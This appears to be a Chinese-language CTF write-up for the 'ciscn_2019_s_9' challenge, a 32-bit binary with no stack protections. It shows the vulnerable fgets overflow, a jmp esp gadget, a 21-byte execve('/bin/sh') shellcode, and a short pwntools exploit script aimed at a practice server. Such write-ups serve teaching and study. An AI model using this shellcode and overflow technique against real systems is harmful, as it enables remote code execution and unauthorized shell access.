ciscn_2019_s_9

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位，啥也没开，开心愉悦写shellcode

int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h]

  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 0x32, stdin);
  puts("OK bye~");
  fflush(stdout);
  return 1;
}

程序主要在这里，栈溢出，写shellcode进去然后执行，发现有个hint

.text:08048551                 push    ebp
.text:08048552                 mov     ebp, esp
.text:08048554                 jmp     esp
.text:08048554 hint            endp
.text:08048554
.text:08048554 ; ---------------------------------------------------------------------------
.text:08048556                 db 90h
.text:08048557 ; ---------------------------------------------------------------------------
.text:08048557                 pop     ebp
.text:08048558                 retn
.text:08048558 ; } // starts at 8048551

这里有个jmp，ok好办了

思路

写shellcode，然后用jmp跳转到shellcode的头，然后执行shellcode

因为栈只有0x20大小，所以不能使用pwntools生成的shellcode

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

这个是0x17大小的shellcode，平时收集的

#from pwn import*
#from Yapack import *
r,elf=rec("node4.buuoj.cn",28508,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x400649')
#debug('b *$rebase(0x1373)')

sc=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
pl=ljust(sc,0x24)+p32(0x8048554)+asm('sub esp,0x28;call esp')
sla(b'>',pl)

ia()